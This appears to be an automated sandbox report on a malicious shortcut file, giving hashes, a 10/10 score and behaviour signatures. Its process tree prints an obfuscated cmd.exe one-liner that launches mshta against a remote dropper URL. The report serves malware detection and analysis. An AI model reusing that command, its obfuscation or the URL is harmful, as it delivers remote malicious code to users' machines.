Analysis
- max time kernel
148s - max time network
149s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 08:33
Static task
static1
Behavioral task
behavioral1
Sample
DOC-E6GS8I.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-E6GS8I.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-E6GS8I.lnk
- Size 1KB
- Sample260804-kf2a3a1tc1
- SHA256 506b5ccf8f40f6cdcd229d1d32510e2fd0e338a6c41edf61437a9c22940cccc6
- MD5 9976d38b76399485ada3a6796bc6d945
- SHA1 c78b0688da86ec03a27872feeb37625da5d30577
- SHA512 c97153e1c30bce105a7b0472062f7f68a5b48e835c183980654f27eac20b57a0367c01a0035103ef15db1d38853384de74e2f300ba791f4b5447c86efa1ded96
- TLSH T1373147503FFD0664F3F78E7794BB972485BBB95A8E21CA2E0141454C5032A15E13AF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4984 cmd.exe 5148 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4984 wrote to memory of 5148 4984 cmd.exe 90 PID 5148 wrote to memory of 2952 5148 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-E6GS8I.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4984 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /c "set PiP=msh&&set tSmuX=ta&&start "" !PiP!!tSmuX! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5148 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:2952
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